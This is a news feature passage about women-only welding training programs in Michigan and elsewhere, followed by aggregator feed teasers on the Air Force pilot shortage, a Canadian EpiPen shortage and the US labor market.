Tiffany Collins, a single mother who was homeless and living at COTS in 2016, heard about the training program and decided to participate in the six-week workshop. She didn’t think anything would come of it, but she saw an opportunity to better herself, and a chance to spend time outside of the shelter. “It turns out I actually fell in love with the thing,” she says. “The idea of being a woman welder, of having a trade and a craft, and, one day, being able to have a career.”

Collins was hired three days after she graduated. She went from the homeless shelter to making $ 20 to $ 30 an hour at her job at a auto-parts manufacturer in Plymouth, Michigan, where she works on car frames and is considered an overhead welder—meaning she can weld at any angle, including over her head, horizontally, and vertically. She is the only woman on the line at her shift, but she’s hoping her presence attracts others, as women become encouraged to take on welding and businesses become more open to hiring them. “I feel like a real-life Rosie the Riveter,” she says.

Beyond Detroit, welding initiatives tailored for women include the Women in Welding program run by Chicago Women in Trades, the Latinas Welding Guild in Indianapolis, and Weld Like a Girl in Arizona. In small classrooms with female instructors, women are being prepared for entry-level welding jobs and are being taught strategies to deal with sexual harassment in the workplace. Traditional programs, too, have recognized the benefit of this approach and have begun incorporating women-only courses into their curriculums. A report published by the Institute for Women’s Policy Research about attracting women to middle-skill jobs such as welding cites women-only pre-apprenticeship programs and workshops as ways to make up for gender deficits in the job market.

Despite the inroads women are making in the industry, sexual harassment continues to be a challenge in the male-dominated welding business, and often goes undocumented. Amanda Todd, a former hairdresser who graduated from Women Who Weld last year and now works as a welder, said that although she has never felt harassed, she has received comments from male co-workers that someone else might interpret as harassment. “One time someone asked me if I wanted to cheat on my boyfriend and I said, ‘You know I could get you fired for that, right?’”

In her workshops, Farr makes sure to cover what women might face in their welding jobs, addressing how they can report and immediately document instances of harassment. She also vets the shops that she matches with female candidates, going on tours and meeting with human-resources departments to see if the working environment appears safe and comfortable for women. Farr believes that as more women join the industry, circumstances will change. “I want to walk into a shop and have no one even look up—that’s a good sign,” she says.

At her Ann Arbor class, the women got more comfortable as the day wore on. At one point, Farr yelled, “Flash!”—a warning about the bright light from a weld she was about to demonstrate—and everyone pulled their helmet down over their face. Farr guided the torch in a looping motion over the metal, until an even weld had formed. “It’s almost like frosting,” one of the women said. “Like cake decorating.” “I’ll try it,” said another.

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The Air Force wants to fight its severe pilot shortage with a special career path for fliers https://briefnews.eu/the-air-force-wants-to-fight-its-severe-pilot-shortage-with-a-special-career-path-for-fliers/ https://briefnews.eu/the-air-force-wants-to-fight-its-severe-pilot-shortage-with-a-special-career-path-for-fliers/#respond Fri, 10 Aug 2018 17:34:47 +0000 http://briefnews.eu/the-air-force-wants-to-fight-its-severe-pilot-shortage-with-a-special-career-path-for-fliers/ US Air Force F-35 pilot cockpit(US Air Force photo/Staff Sgt. Jensen Stidham)

The head of Air Mobility Command says he keeps asking himself what he got the US Air Force into after working with the service to launch the Aviator Technical Track program.

But Gen. Carlton Everhart is betting that the experimental program will have more benefits than costs at a time when the service is dealing with a troubling pilot shortage.

See the rest of the story at Business Insider

NOW WATCH: Watch the F-22 in action — the most dangerous jet fighter in the US Air Force for the last 20 years

See Also:

SEE ALSO: The Air Force retired its first stealth aircraft more than a decade ago, but it’s still lurking in the skies over the US

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As EpiPen shortage worsens, Liberal government pressed to act https://briefnews.eu/as-epipen-shortage-worsens-liberal-government-pressed-to-act/ https://briefnews.eu/as-epipen-shortage-worsens-liberal-government-pressed-to-act/#respond Wed, 01 Aug 2018 23:41:08 +0000 http://briefnews.eu/as-epipen-shortage-worsens-liberal-government-pressed-to-act/ Lily Brennan holding EpiPen

Health Canada says it has approved epinephrine injectors from other companies besides current sole supplier Pfizer, but they have not made a move to start manufacturing in this country.

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The coming ‘labor shortage’ in America is great news for workers https://briefnews.eu/the-coming-labor-shortage-in-america-is-great-news-for-workers/ https://briefnews.eu/the-coming-labor-shortage-in-america-is-great-news-for-workers/#respond Sat, 07 Jul 2018 15:20:05 +0000 http://briefnews.eu/the-coming-labor-shortage-in-america-is-great-news-for-workers/ Amazon worker

  • For now, the coming “labor shortage” is good news for workers.
  • We should root for it to continue.
  • It’s undoubtedly a headache for some owners and managers. But it’s one they should, hopefully, be made to live with for a few years.

They say “labor shortage” like it’s a bad thing.

“America’s labor shortage is approaching epidemic proportions, and it could be employers who end up paying,” CNBC reported this week. That was before yet another monthly jobs report showing solid growth in jobs and wages.

See the rest of the story at Business Insider

NOW WATCH: This is how moveable prosthetic covers are made for bionic limbs

See Also:

SEE ALSO: Get a grip, people. Your conspiracy-minded impulses are making you look stupid

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